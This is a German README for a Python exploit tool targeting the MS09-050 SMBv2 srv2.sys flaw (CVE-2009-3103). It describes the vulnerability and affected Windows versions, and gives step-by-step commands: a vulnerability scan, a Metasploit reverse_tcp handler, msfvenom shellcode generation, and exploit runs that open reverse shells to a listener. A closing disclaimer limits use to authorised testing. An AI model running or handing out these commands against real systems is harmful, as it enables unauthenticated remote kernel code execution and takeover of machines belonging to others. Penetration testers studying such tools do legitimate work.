Python-Exploit für MS09-050 (CVE-2009-3103) SMBv2 srv2.sys-Pufferüberlauf, mit Schwachstellen-Scanner, automatischer Architekturerkennung und x86/x64-Reverse-Shell-Payloads.
CVE-2009-3103
Windows Vista und Server 2008 führten SMBv2 mit einem neuen Kernel-Treiber ein, srv2.sys. Dieser Treiber validiert das Feld Process Id High in SMB-Negotiate-Anfragen nicht. Durch Senden eines speziell präparierten Werts in diesem Feld veranlasst ein Angreifer srv2.sys, mit einem kontrollierten Wert in eine Funktionszeigertabelle zu indizieren und eine vom Angreifer bereitgestellte Adresse zu dereferenzieren.
Das Ergebnis ist beliebige Codeausführung im Kernel-Kontext, ohne Authentifizierung. Der Angreifer muss lediglich Port 445 erreichen.
Microsoft hat dies im Oktober 2009 gepatcht (KB975517). Jedes ungepatchte Vista SP1/SP2- oder Server 2008 SP1-System ist anfällig.
| Ziel-Betriebssystem | Architektur |
|---|
| Windows Vista SP1 | x86 |
| Windows Vista SP2 | x86 / x64 |
| Windows Server 2008 SP1 | x86 / x64 |
| Windows Server 2008 SP1 (pre-R2) | x64 |
--msf-payload zur Auswahl eines benutzerdefinierten Payloads-s)[+] Erfolg, [-] Fehler, [!] Warnung, [*] Infogit clone https://github.com/bytejmp/MS09-050.git
cd MS09-050
Voraussetzungen:
rpcclient (aus dem smbclient-Paket), wird verwendet, um den Payload nach der Injektion auszulösenmsfvenom, nur erforderlich bei Verwendung des --msfvenom-FlagsUnter Debian/Ubuntu:
sudo apt install smbclient
Unter Arch Linux:
sudo pacman -S smbclient
python3 MS09.py scan -t 192.168.1.10
Ausgabe:
[*] Scanning 192.168.1.10:445...
[+] Target 192.168.1.10 is reachable
[+] SMBv2 supported
[*] OS: Windows Vista (TM) Ultimate 6001 Service Pack 1
[*] Architecture: x86
[+] Target appears VULNERABLE to MS09-050
Verwendet einen meterpreter/reverse_tcp-Stager. Starten Sie zuerst Ihren Handler:
msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST 10.0.0.5; set LPORT 4444; run"
Führen Sie dann den Exploit aus:
python3 MS09.py exploit -t 192.168.1.10 --payload -l 10.0.0.5 -p 4444
python3 MS09.py exploit -t 192.168.1.10 --msfvenom -l 10.0.0.5 -p 4444 -a x64
python3 MS09.py exploit -t 192.168.1.10 --msfvenom --msf-payload windows/meterpreter/reverse_tcp -l 10.0.0.5 -p 4444
Generieren Sie rohen Shellcode einmal und verwenden Sie ihn ohne msfvenom wieder:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 EXITFUNC=thread -f raw -o shell.bin
Führen Sie ihn dann dem Exploit zu:
python3 MS09.py exploit -t 192.168.1.10 -s shellcode.bin -a x86
$ python3 MS09.py -h
usage: MS09.py [-h] {scan,exploit} ...
MS09-050 SMBv2 Remote Code Execution Exploit (CVE-2009-3103)
positional arguments:
{scan,exploit} Operation mode
scan Scan target for MS09-050 vulnerability
exploit Send exploit to target
$ python3 MS09.py exploit -h
usage: MS09.py exploit [-h] -t TARGET [-P PORT] [-a {x86,x64}]
(--payload | --msfvenom | -s FILE)
[-l LHOST] [-p LPORT] [--msf-payload PAYLOAD]
options:
-t, --target Target IP address
-P, --port SMB port (default: 445)
-a, --arch Target architecture (auto-detected if omitted)
--payload Use built-in reverse shell payload (no Metasploit needed)
--msfvenom Generate shellcode with msfvenom
--msf-payload msfvenom payload (default: shell_reverse_tcp x86, x64/shell_reverse_tcp x64)
-s, --shellcode Path to raw shellcode file
-l, --lhost Listener IP address
-p, --lport Listener port
MS09/
├── MS09.py # Main entry point
├── README.md
└── lib/
├── __init__.py
├── output.py # Standardized output formatting
├── scanner.py # SMBv2 vulnerability scanner
├── payloads.py # Built-in shellcode (reverse TCP shell)
└── exploit.py # Exploit buffer construction and delivery
Negotiate Protocol Request, um die Betriebssystemversion und Architektur des Ziels zu ermittelnsrv2.sys überläuftDieses Tool wird ausschließlich für autorisierte Penetrationstests und Bildungszwecke bereitgestellt.
Unbefugter Zugriff auf Computersysteme ist in den meisten Rechtsordnungen eine Straftat. Sie müssen vor der Verwendung dieses Tools gegen ein Ziel die ausdrückliche schriftliche Genehmigung des Systemeigentümers einholen. Die Autoren übernehmen keine Haftung und sind nicht verantwortlich für Missbrauch oder Schäden, die durch diese Software verursacht werden.
Durch die Verwendung dieses Tools stimmen Sie zu, dass:
Verwenden Sie es verantwortungsvoll. Hacken Sie ethisch.